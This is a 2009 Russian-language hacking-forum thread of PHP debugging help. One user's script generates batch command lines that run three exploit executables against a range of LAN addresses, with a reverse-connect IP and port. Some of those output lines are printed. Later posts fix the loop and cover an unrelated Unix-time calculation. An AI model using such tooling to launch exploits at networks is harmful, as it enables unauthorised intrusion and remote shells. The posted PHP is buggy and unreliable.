Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

08.12.2009, 10:15
|
|
Участник форума
Регистрация: 04.10.2008
Сообщений: 154
Провел на форуме: 203408
Репутация:
7
|
|
PHP код:
<?
$p0 = '0'; //Параметр 0
$p1 = '1'; //Параметр 1
$p2 = '2'; //Параметр 2
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла
//------------------ Первый сплоит ------------
for($i=$start;$i<$end;$i++)
//Строка 1
$content = $ex.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send;
$ok = fwrite($fh, $content);
//------------------ Второй сплоит ------------
//Строка 1
$content = $ex1.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex1.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex1.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send;
$ok = fwrite($fh, $content);
//------------------ Третий сплоит ------------
//Строка 1
$content = $ex2.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex2.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex2.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send;
$ok = fwrite($fh, $content);
{
$array[$i] = $i;
}
?>
вывод получается не полностью
получается только
Код:
ex.exe 0 192.168.1.4 40 192.168.1.2
ex.exe 1 192.168.1.5 40 192.168.1.2
ex.exe 2 192.168.1.5 40 192.168.1.2
ex1.exe 0 192.168.1.5 40 192.168.1.2
ex1.exe 1 192.168.1.5 40 192.168.1.2
ex1.exe 2 192.168.1.5 40 192.168.1.2
ex2.exe 0 192.168.1.5 40 192.168.1.2
ex2.exe 1 192.168.1.5 40 192.168.1.2
ex2.exe 2 192.168.1.5 40 192.168.1.2
т.е. видно только последние параметры диапазона
4ку в одной строке и 5ку в остальных
че я опять сделал не так?)))
|
|
|

08.12.2009, 10:18
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от Vinsik
поставить 6 я сам догадался))))))
именно при значении 5 надо)
$start = 0
|
|
|

08.12.2009, 10:32
|
|
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме: 1455812
Репутация:
150
|
|
Ппц тока ща обратил внимание =\
PHP код:
for($i=$start;$i<=$end;$i++)
После этого поставь {
а тут убери перед $array;
и желательно дописывать "\r\n" чтобы переводил на новую строчку в файле, если необходимо конечно =\
PHP код:
$ok = fwrite($fh, $content."\r\n");
и всякие $probel'Ы просто убивают. PHP сквозь слезы выполнняет скрипт.
А вообще код можно значительно сократить до пары строчек объявления переменных и 1 циклом
Последний раз редактировалось LStr1ke; 08.12.2009 в 10:35..
|
|
|

08.12.2009, 10:37
|
|
Участник форума
Регистрация: 04.10.2008
Сообщений: 154
Провел на форуме: 203408
Репутация:
7
|
|
Сообщение от LStr1ke
...
А вообще код можно значительно сократить до пары строчек объявления переменных и 1 циклом
я это и делаю =)
|
|
|

08.12.2009, 10:49
|
|
Познающий
Регистрация: 02.06.2008
Сообщений: 35
Провел на форуме: 29238
Репутация:
5
|
|
Вопрос как написать такой скрипт:
В базе лежит время в секундах от эпохи unix (что-то вроде 1260186641)
надо сравнить это время с текущим и показать результат в минутах (типа сколько ждёт)
если больше 99 минут, заменяем словом "долго"
|
|
|

08.12.2009, 11:07
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Сообщение от Freakazoitt
Вопрос как написать такой скрипт:
В базе лежит время в секундах от эпохи unix (что-то вроде 1260186641)
надо сравнить это время с текущим и показать результат в минутах (типа сколько ждёт)
если больше 99 минут, заменяем словом "долго"
PHP код:
<?php
$now_date = '1260186641';
$now_date_2 = time();
$a = ($now_date_2 - $now_date) / 60;
if(intval($a) >= 99)
{
echo 'Много, а точнее: '.intval($a).' минут(ы)<br>';
echo 'Либо по нормальному разница в <b>'.date('H:i:s',$now_date_2 - $now_date).'</b>';
}
?>
Вывод:
Много, а точнее: 1157 минут(ы)
Либо по нормальному разница в 19:17:31
Последний раз редактировалось b3; 08.12.2009 в 11:10..
|
|
|

08.12.2009, 11:23
|
|
Участник форума
Регистрация: 04.10.2008
Сообщений: 154
Провел на форуме: 203408
Репутация:
7
|
|
$content = $HTTP_POST_VARS[content]; не получает переменные как $test.$test2.$test3 а получает как "$test.$test2.$test3" можно какнить это поправить?
|
|
|

08.12.2009, 11:29
|
|
Участник форума
Регистрация: 04.10.2008
Сообщений: 154
Провел на форуме: 203408
Репутация:
7
|
|
Сообщение от Vinsik
$content = $HTTP_POST_VARS[content]; не получает переменные как $test.$test2.$test3 а получает как "$test.$test2.$test3" можно какнить это поправить?
если кому интересно нафига мне это все
http://img710.imageshack.us/img710/6435/87892072.jpg
|
|
|

08.12.2009, 11:34
|
|
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме: 1455812
Репутация:
150
|
|
$HTTP_POST_VARS[content];
Замени на
$_POST[content];
Например
$ex = $_POST['ex'];
|
|
|

08.12.2009, 11:42
|
|
Участник форума
Регистрация: 04.10.2008
Сообщений: 154
Провел на форуме: 203408
Репутация:
7
|
|
Сообщение от LStr1ke
$HTTP_POST_VARS[content];
Замени на
$_POST[content];
Например
$ex = $_POST['ex'];
$content = $_POST['content'];
таже история
на выводе также
$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$m yip
а не их значения
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|